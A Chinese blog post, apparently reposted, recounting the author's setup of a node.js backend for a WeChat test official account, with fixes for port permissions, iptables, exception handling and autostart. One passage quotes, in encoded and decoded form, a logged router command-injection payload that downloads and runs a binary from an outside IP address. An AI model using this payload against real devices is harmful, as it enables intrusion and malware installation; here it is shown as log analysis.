初涉node.js做微信測試公眾號一路填坑順便發現個有趣的其他漏洞


【微信測試公眾號】

半年前耍着玩搭起來的“微信簡歷”,是LAMP版的,很皮毛。

微信的官方文檔在這 http://mp.weixin.qq.com/wiki/index.php

1.獲取access token

2.自定義菜單創建,直接在調試工具上做了 http://mp.weixin.qq.com/debug

3.接入指南(接入自己的網站)

4.接收微信消息,判斷消息類型,判斷消息關鍵字(比如來自哪個按鈕),響應消息

這里有個小坑,不同類型的消息數據結構略有不同,判空最好做細致點。

 

【V2.0 換nodejs后台】

用慣LAMP和Tomcat+SpringMVC,剛接觸nodejs硬是看傻眼了~服務器呢?容器呢?要自己在js里監聽端口。。。好伐,看着API查着demo搞起~於是開始填坑之旅啦~

1.微信的消息是xml格式,解析需要工具,比如xml2js

--->干脆直接找到個微信的框架node-wechat,瞄了一下依賴,底層就是xml2js,不用重復發明輪子了~認證部分sha1驗證也不用自己寫~

2.js文件放上Ubuntu服務器用node啟動不了~【Error: listen EACCES】

--->查了一下是服務器80端口要用root運行~不想sudo讓腳本權限太高,只好在iptables里把80端口的訪問轉發到比如8080~終於跑起來了。

3.微信消息的數據結構細節問題,比如沒特意判斷是否文本消息就取Content字段導致類似空指針錯誤。細心點就能解決的。

--->為此還特意進去看了一下node-wechat/index.js的代碼,框架的作者還是蠻細致的,該處理的都處理了。

4.健壯性:隨便一個非微信請求就會Exception奔潰退出。--->在js代碼里加入try...catch卻完全不起作用。

--->因為框架的設計是基於事件監聽的模式,許多異步和回調的操作,不用try...catch捕捉,而是要用process.on('uncaughtException', callback)去處理。

5.日志。直接記錄未解析的req對象得到的是[object],記錄解析后的對象則取不到那些無效的請求。

--->不想太復雜又引入日志框架,直接把寫文件的代碼嵌入到微信的框架里,在讀入請求流req.on('end', callback)里記錄請求,完事~

6.守護進程。node監聽端口是手動調用的,所以,進程啟動也要自己手動去做。--->不想掛nohup,就安裝了又一個node框架forever,而且要-g方式安裝。

至此,測試公眾號終於跑起來啦!

 

【后期維護】

過了兩天沒事上去檢查日志,貌似還是不能很愉快地玩耍~

1.Caught exception: TypeError: Cannot read property 'xml' of null

非微信請求,比如直接敲網址。反正錯誤已抓住了,就不處理了。想更健壯些可以對http請求做判斷和日志。

 

2.可疑請求

#請求的原內容
%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%35%63%37%30%36%62%64%63%20%68%74%74%70%3a%2f%2f%32%30%36%2e%32%31%37%2e%31%35%2e%36%30%3a%33%32%30%30%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%2e%2f%2e%35%63%37%30%36%62%64%63%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31

#解碼后
submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;echo "#!/bin/sh" > .5c706bdc.sh;echo "wget -O .5c706bdc http://206.217.15.60:3200" >> .5c706bdc.sh;echo "chmod +x .5c706bdc" >> .5c706bdc.sh;echo "./.5c706bdc" >> .5c706bdc.sh;echo "rm .5c706bdc" >> .5c706bdc.sh;chmod +x .5c706bdc.sh;./.5c706bdc.sh`&StartEPI=1

 whois查了一下ip是個奇怪的域名,網站為空,目測是個類似爬蟲的東西。

查了一下關鍵字,發現是在烏雲上登記的漏洞, http://www.wooyun.org/bugs/wooyun-2013-021321 基本上可以判定,就是個掃描攻擊路由器的蠕蟲~

已經把除了80和22以外的端口封掉了,不過請求就是從80端口進來的,沒辦法~

而且只是針對路由器的攻擊,在我的應用中只是一堆編碼,沒威脅~況且故意跑了一下wget命令,也連不上,估計攻擊方已經轉移了~

 

3.開機無法自動啟動——防火牆設置

iptables端口重定向設置,一重啟就被重置。嘗試了官網保存設置的方式 http://wiki.ubuntu.org.cn/IptablesHowTo#Saving_iptables_.E4.BF.9D.E5.AD.98.E8.AE.BE.E7.BD.AE 是生效了,但是貌似把雲主機上的設置給覆蓋了,導致22端口連不上,整台雲主機就這樣廢掉了~~~找客服運維太麻煩了,直接重裝了~~~

搗騰了好幾回,最后決定在/etc/rc.local里添加命令,每次開機配置~成功~

 

4.開機無法自動啟動——node應用自動啟動

先前是用forever框架來管理應用,發現機器重啟后應用並不能自動啟動,還要另外安裝checkconfig之類的服務器的一些程序,從簡單的角度出發,還是照樣交給rc.local吧~

然后為了后台運行且不用root運行以免權限太大,配合了nohup和su命令,重啟后如期望的那樣~

su -c "nohup nodejs /home/mydir/my.js > /home/mydir/console.log 2>&1 &" myuser

 

5.warning: possible EventEmitter memory leak detected. 11 listeners added.  Use emitter.setMaxListeners() to increase limit.

一口氣開了太多監聽事件,但框架就這么設計的,只好把限制設大唄~其實也不礙事~

 

好啦,終於填平所有坑,可以愉快地玩耍啦~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM